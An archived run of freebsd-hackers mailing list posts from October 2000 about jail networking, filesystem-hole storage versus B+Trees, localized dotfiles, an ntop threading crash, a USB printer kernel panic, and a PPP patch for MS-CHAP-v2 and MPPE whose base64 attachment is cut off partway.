From owner-freebsd-hackers Sun Oct 29 6:34:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from norwegia.access.ch (mail.access.ch [195.112.71.134]) by hub.freebsd.org (Postfix) with ESMTP id 02BDD37B479 for ; Sun, 29 Oct 2000 06:34:04 -0800 (PST) Received: from aeschbacher.com (megapop9-4.access.ch [212.161.130.132]) by norwegia.access.ch (8.9.3/8.9.3) with ESMTP id PAA01549 for ; Sun, 29 Oct 2000 15:33:57 +0100 Message-ID: <39FC3586.5B6426DB@aeschbacher.com> Date: Sun, 29 Oct 2000 15:34:46 +0100 From: Stefan Aeschbacher X-Mailer: Mozilla 4.6 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: hackers@freebsd.org Subject: jail network problems Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I am running 4.1-stable updated ca 22.10.00. I set up a jail, started it but I have no network at all. I made an alias for the used IP address, I ran /etc/rc with the following output: Skipping disk checks ... dmesg: short read dmesg: kvm_read: Doing initial network setup:. Additional routing options: tcp extensions=NOsysctl: net.inet.tcp.rfc1323: Operation not permitted TCP keepalive=YESsysctl: net.inet.tcp.always_keepalive: Operation not permitted . routing daemons:. additional daemons: syslogdsyslogd: child pid 25355 exited with return code 1 . Doing additional network setup:. Starting final network daemons:. setting ELF ldconfig path: /usr/lib /usr/lib/compat setting a.out ldconfig path: /usr/lib/aout /usr/lib/compat/aout starting standard daemons: inetd cron sendmail. Initial rc.i386 initialization:. rc.i386 configuring syscons: blank_time/etc/rc.i386: cannot open /dev/ttyv0: no such file . additional ABI support:. Local package initialization:. Additional TCP options:. Sun Oct 29 14:05:55 GMT 2000 resulting in the following ps aux: USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 24510 0.0 1.5 1332 908 #C1 SJ 1:54PM 0:00.28 /bin/tcsh root 25226 0.0 1.0 912 608 ?? IsJ 2:02PM 0:00.02 syslogd -s root 25245 0.0 1.2 1032 760 ?? IsJ 2:02PM 0:00.04 inetd -wW root 25247 0.0 1.1 952 696 ?? IsJ 2:02PM 0:00.02 cron root 25250 0.0 2.2 1536 1356 ?? IsJ 2:02PM 0:00.02 sendmail: accepting root 25280 0.0 0.4 392 240 #C1 R+J 2:02PM 0:00.00 ps aux ping doesnt work from within the jail (I assume this is normal) jail# telnet localhost - doesnt work jail# telnet some address - doesnt work some host# telnet jail - doesnt work some host# ping jail - doesnt work (should it?) any hint? Stefan Aeschbacher To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 7:11: 4 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from homer.softweyr.com (bsdconspiracy.net [208.187.122.220]) by hub.freebsd.org (Postfix) with ESMTP id 1DC7D37B479 for ; Sun, 29 Oct 2000 07:11:03 -0800 (PST) Received: from [127.0.0.1] (helo=softweyr.com ident=Fools trust ident!) by homer.softweyr.com with esmtp (Exim 3.16 #1) id 13pu63-0000AE-00; Sun, 29 Oct 2000 08:10:07 -0700 Message-ID: <39FC3DCF.533DD71@softweyr.com> Date: Sun, 29 Oct 2000 08:10:07 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Luigi Rizzo Cc: Ryan Thompson , freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Luigi Rizzo wrote: > > Hi, > > how about using an indirect table of 64M 32-bit pointers into > the actual blocks being used ? For insertions you just > allocate a new fixed size block from the file. Isn't this roughly what dbm does with the hash key method? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 8:16: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.ovis.net (ns1.ovis.net [207.0.147.2]) by hub.freebsd.org (Postfix) with ESMTP id 60EFC37B479; Sun, 29 Oct 2000 08:16:03 -0800 (PST) Received: from 207.0.147.103 (s37.pm5.ovis.net [207.0.147.103]) by ns1.ovis.net (8.9.3/8.9.3) with SMTP id LAA32494; Sun, 29 Oct 2000 11:15:18 -0500 Message-Id: <200010291615.LAA32494@ns1.ovis.net> Reply-To: Steve Kudlak From: chromexa@ovis.net To: Olexander Kunytsa , Nik Clayton Cc: "Michael C . Wu" , i18n@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: re: Re: Need dotfiles for various L10N groups Date: 29 Oct 2000 11:22:58 -0500 X-Mailer: NeoPlanet Version: 5.1.0.1418 X-ID: AF93F1E08CC911D3BC29444553540000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ** Original Subject: Re: Need dotfiles for various L10N groups > ** Original Sender: Olexander Kunytsa > ** Original Date: Sat, 28 Oct 2000 19:29:01 -0400 > ** Original Message follows... > > On Sun, 29 Oct 2000, Nik Clayton wrote: > > > I am trying to collect various dotfiles (.cshrc, .profile, .Xresources, > > > .Xdefaults, ~/.*) for various language localization groups. > > > As I discussed with Nik Clayton, I hope to create > > > /usr/share/skel/{chinese, japanese, french, russian, korean, vietnamese *} > > > > Shouldn't these be /usr/share/skel/{ja_JP.eucJP, zh_TW.Big5, ...} to cater > > for the same language/multiple encodings problem? > > > It would be better to use in such way, I think. I myself can make > /usr/share/skel/uk_UA.KOI8-U/* for Ukrainian lang > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message >** --------- End Original Message ----------- ** > My suspicion is that all those configuration files, Use dot as the leading character and that POSIXdidn't change this? Thisis from old memory so someone doublechecking would help. As far as your proposal goes. it doesn.sound that bad as long as it is consistant and someone supports it (well lots of people). I automatically knowthat when I see .xxx in *nix it is a config file. The problem never seems to be with standards but getting people to agree with them, and they provide a wide consistency. Please correct me if I am wrong. Thanks and Have fun, Seteve Have Fun, Sends Steve Download the Lycos Browser at http://lycos.neoplanet.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 8:23: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from atomic.dk (www.atomic.dk [194.192.102.7]) by hub.freebsd.org (Postfix) with SMTP id 02FC737B479 for ; Sun, 29 Oct 2000 08:23:07 -0800 (PST) Received: from petri2000 (194.192.131.98[194.192.131.98])by ATOMIC-ONE(MailMax 3.029) with ESMTP id 7922670 for Nicolai@atomic.dk; Sun, 29 Oct 2000 17:22:52 +0100 WST Message-ID: <003001c041c4$01e9d130$6732a8c0@atomic.dk> From: "Nicolai Petri" To: Subject: Signal 11 when compiling app with LinuxThreads Date: Sun, 29 Oct 2000 17:19:26 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think I've configured and compiled the application (latest ntop) correct but it crashes hard on the following way. (see bottom) There's no problem when compiled without thread support. Another issue is if I should use linuxthreads or not.. What's the difference in lthread and pthread in short ? Anyone in for suggestions ?? What lib have I missed ?? Cheers, Nicolai Petri ------ This GDB was configured as "i386-unknown-freebsd"... Core was generated by `intop'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/libntop-1.3.so.2...done. Reading symbols from /usr/lib/libpcap.so.2...done. Reading symbols from /usr/local/lib/libgdbm.so.2...done. Reading symbols from /usr/local/lib/liblthread.so.2...done. Reading symbols from /usr/lib/libcrypt.so.2...done. Reading symbols from /usr/lib/libm.so.2...done. Reading symbols from /usr/lib/libssl.so.1...done. Reading symbols from /usr/lib/libcrypto.so.1...done. Reading symbols from /usr/lib/libreadline.so.4...done. Reading symbols from /usr/lib/libncurses.so.5...done. Reading symbols from /usr/lib/libc.so.4...done. Reading symbols from /usr/libexec/ld-elf.so.1...done. #0 0x28639668 in fstat () from /usr/lib/libc.so.4 (gdb) bt #0 0x28639668 in fstat () from /usr/lib/libc.so.4 #1 0x28673d43 in __swhatbuf () from /usr/lib/libc.so.4 #2 0x28673c9b in __smakebuf () from /usr/lib/libc.so.4 #3 0x286643d7 in __srefill () from /usr/lib/libc.so.4 #4 0x2865cd88 in fgets () from /usr/lib/libc.so.4 #5 0x286549e6 in gethostent () from /usr/lib/libc.so.4 #6 0x28654c3d in _gethostbyhtaddr () from /usr/lib/libc.so.4 #7 0x286545d8 in gethostbyaddr () from /usr/lib/libc.so.4 #8 0x2807fa9e in resolveAddress (symAddr=0x8204044 "*192.168.50.10*", hostAddr=0x81fc100, keepAddressNumeric=0) at address.c:125 #9 0x2807ffae in dequeueAddress () at address.c:263 #10 0x284769a1 in __pthread_manager_event () from /usr/local/lib/liblthread.so.2 #11 0x28477621 in _clone () from /usr/local/lib/liblthread.so.2 #12 0x10692c8 in ?? () #13 0x0 in ?? () (gdb) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 8:27:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (placeholder-dcat-1076843399.broadbandoffice.net [64.47.83.135]) by hub.freebsd.org (Postfix) with ESMTP id DD1C637B479 for ; Sun, 29 Oct 2000 08:27:22 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id e9TGRMP70398; Sun, 29 Oct 2000 08:27:22 -0800 (PST) (envelope-from dillon) Date: Sun, 29 Oct 2000 08:27:22 -0800 (PST) From: Matt Dillon Message-Id: <200010291627.e9TGRMP70398@earth.backplane.com> To: Ryan Thompson , freebsd-hackers@FreeBSD.ORG Subject: Re: Filesystem holes References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> Hi all... :> :> One the tasks that I have undertaken lately is to improve the efficiency :> of a couple of storage facilities we use internally, here. Basically, :> they are moderate-size tables currently implemented in SQL, which is OK in :> terms of performance, but the hash function is breaking down and the :> storage is rather inefficient for our table of about 2,850,000 members :> (~2.1 GB total storage). There are 64M possible hash values in our :> current implementation, and our record size is variable, but could be :> safely fixed at about 1.5KB... So, total storage if all values were used :> would be about 96GB. (See where I'm going with this?) :> :> One of the options I am considering is actually using address calculation, :> and taking advantage of filesystem holes, to keep storage down to what is :> actually being used, while providing instant lookups. :> :> The single file would be about 96G addressable bytes... But the actual :> block count would be much lower. I suppose I will have to create a series :> of these files and divide the problem into < 4GB chunks, but one :> lookup/store will still be done with one calculation and one disk seek :> (just more filehandles open). :> :> Deletes seem problematic. My question is, does the operating system :> provide any way to free blocks used in the middle of a file? :> :> Must I periodically re-create these files (long and slow process, but not :> so bad if done infrequently) to reclaim space, or is there a way to free :> arbitrary blocks in a file in userland (WITHOUT trashing the filesystem? :> :-) :> :> - Ryan :> :> -- :> Ryan Thompson :> Network Administrator, Accounts :> Phone: +1 (306) 664-1161 :> :> SaskNow Technologies http://www.sasknow.com :> #106-380 3120 8th St E Saskatoon, SK S7H 0W2 I would strongly recommend using a B+Tree instead of a hash table. With a hash table slightly different lookups will seek all over the place. With a B+Tree lookups will stay more localized. For example, if you insert a (nearly) sorted dictionary of words into an SQL table with a B+Tree, the memory working set required to insert efficiently stays constant whether you are inserting a thousand, a million, or a billion records. That is, the memory requirement is effecitvely O(LogN) for a disk requirement of O(N). With a hash table, the memory working set required to insert efficiently is approximately O(N) for a disk requirement of O(N)... much much worse. A B+Tree will also scale with the size of the dataset being managed, so you do not have to preallocate or prereserve file space. We are using an in-house SQL database for our product (which I can't really talk about right now) and, using B+Tree's, I can consistently insert 300 records/sec on a cheap desktop PC (which I use for testing) with 64MB of ram (remember, insert requires an internal select to check for key conflicts), even when the test database grows to several gigabytes. In anycase, a B+Tree is the way to go. Hash tables are useful only in very, very, very specialized circumstances. In all other circumstances they are no better then a pain in the rear. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 8:41:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from lflat.org (lflat.org [212.97.205.9]) by hub.freebsd.org (Postfix) with ESMTP id 7112D37B479 for ; Sun, 29 Oct 2000 08:41:29 -0800 (PST) Received: by lflat.org (Postfix, from userid 1000) id A98CA7C90; Sun, 29 Oct 2000 17:41:22 +0100 (CET) Date: Sun, 29 Oct 2000 17:41:22 +0100 From: Vadim Belman To: freebsd-hackers@freebsd.org Subject: ulpt is broken. Message-ID: <20001029174122.A31674@lflat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've tried to use uplt instead of lpt and got a kernel panic. From kernel stack trace I found that it happens due to a wrong pointer to dev structure being passed to usbd_do_request_flags. I've made a PR for the problem (despite its number is'n known to me yet) but would like to duplicate it here. In fact, the stack trace must be containing all the needed information: IdlePTD 4214784 initial pcb at 3681c0 panicstr: from debugger panic messages: --- Fatal trap 12: page fault while in kernel mode fault virtual address = 0x20726568 fault code = supervisor read, page not present instruction pointer = 0x8:0xc01811a7 stack pointer = 0x10:0xc842ccb4 frame pointer = 0x10:0xc842cccc code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 2858 (lpd) panic: from debugger panic: from debugger Uptime: 36m38s dumping to dev #da/0x20001, offset 262144 dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 dumpsys () at /usr/src/sys/kern/kern_shutdown.c:475 475 if (dumping++) { #0 dumpsys () at /usr/src/sys/kern/kern_shutdown.c:475 #1 0xc019e6ac in boot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:318 #2 0xc019eaad in panic (fmt=0xc02c5894 "from debugger") at /usr/src/sys/kern/kern_shutdown.c:566 #3 0xc012f945 in db_panic (addr=-1072164441, have_addr=0, count=-1, modif=0xc842cb2c "") at /usr/src/sys/ddb/db_command.c:433 #4 0xc012f8e3 in db_command (last_cmdp=0xc031cbdc, cmd_table=0xc031ca3c, aux_cmd_tablep=0xc03616ac) at /usr/src/sys/ddb/db_command.c:333 #5 0xc012f9aa in db_command_loop () at /usr/src/sys/ddb/db_command.c:455 #6 0xc0131bf7 in db_trap (type=12, code=0) at /usr/src/sys/ddb/db_trap.c:71 #7 0xc029c776 in kdb_trap (type=12, code=0, regs=0xc842cc74) at /usr/src/sys/i386/i386/db_interface.c:163 #8 0xc02a8888 in trap_fatal (frame=0xc842cc74, eva=544367976) at /usr/src/sys/i386/i386/trap.c:934 #9 0xc02a8601 in trap_pfault (frame=0xc842cc74, usermode=0, eva=544367976) at /usr/src/sys/i386/i386/trap.c:853 #10 0xc02a814b in trap (frame={tf_fs = -1071972336, tf_es = 16, tf_ds = 16, tf_edi = 0, tf_esi = 375, tf_ebp = -935146292, tf_isp = -935146336, tf_ebx = -935146236, tf_edx = 544367976, tf_ecx = 544367976, tf_eax = -935146237, tf_trapno = 12, tf_err = 0, tf_eip = -1072164441, tf_cs = 8, tf_eflags = 66118, tf_esp = -1055754752, tf_ss = 375}) at /usr/src/sys/i386/i386/trap.c:436 #11 0xc01811a7 in usbd_do_request_flags (dev=0x20726568, req=0xc842cd04, data=0xc842cd03, flags=0, actlen=0x0) at /usr/src/sys/dev/usb/usbdi.c:938 #12 0xc018117c in usbd_do_request (dev=0x20726568, req=0xc842cd04, data=0xc842cd03) at /usr/src/sys/dev/usb/usbdi.c:919 #13 0xc017d540 in ulpt_status (sc=0xc1127600) at /usr/src/sys/dev/usb/ulpt.c:357 #14 0xc017d6e1 in ulptopen (dev=0xc103fc00, flag=2, mode=8192, p=0xc7fff100) at /usr/src/sys/dev/usb/ulpt.c:418 #15 0xc01e358a in spec_open (ap=0xc842cda0) at /usr/src/sys/miscfs/specfs/spec_vnops.c:200 #16 0xc01e3439 in spec_vnoperate (ap=0xc842cda0) at /usr/src/sys/miscfs/specfs/spec_vnops.c:117 #17 0xc0279071 in ufs_vnoperatespec (ap=0xc842cda0) at /usr/src/sys/ufs/ufs/ufs_vnops.c:2312 #18 0xc01dd467 in vn_open (ndp=0xc842ce74, flagp=0xc842ce40, cmode=48) at vnode_if.h:189 #19 0xc01d8ead in open (p=0xc7fff100, uap=0xc842cf80) at /usr/src/sys/kern/vfs_syscalls.c:999 #20 0xc02a8cf8 in syscall2 (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 134578534, tf_esi = -1077937784, tf_ebp = -1077938048, tf_isp = -935145516, tf_ebx = 2, tf_edx = -1077938104, tf_ecx = 2, tf_eax = 5, tf_trapno = 7, tf_err = 2, tf_eip = 269347636, tf_cs = 31, tf_eflags = 582, tf_esp = -1077938092, tf_ss = 47}) at /usr/src/sys/i386/i386/trap.c:1139 #21 0xc029d0df in Xint0x80_syscall () #22 0x804dbe9 in ?? () #23 0x804b5cd in ?? () #24 0x804db8e in ?? () #25 0x804acd5 in ?? () #26 0x804ab37 in ?? () #27 0x804a1e1 in ?? () -- /Voland Vadim Belman E-mail: voland@lflat.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Oct 29 12:50:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id 4F66837B479; Sun, 29 Oct 2000 12:47:51 -0800 (PST) Received: from localhost (semen@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id CAA58852; Mon, 30 Oct 2000 02:47:24 +0600 (NS) (envelope-from semen@iclub.nsu.ru) Date: Mon, 30 Oct 2000 02:47:23 +0600 (NS) From: Ustimenko Semen To: Brian Somers Cc: hackers@FreeBSD.org, current@FreeBSD.org Subject: PPP patch (CHAP81 + MPPE) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1343872478-972852443=:58714" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-1343872478-972852443=:58714 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi! Here is a patch attached (made from current from 20000813). Patch makes ppp able to respond and initiate MS-CHAP-v2 authentication and supports MPPE encryption protocol. With all these ppp can participate in MS VPN. Please look at this, and tell me what you think? Bye! --0-1343872478-972852443=:58714 Content-Type: APPLICATION/octet-stream; name="ppp-mppe-patch.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="ppp-mppe-patch.gz" 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 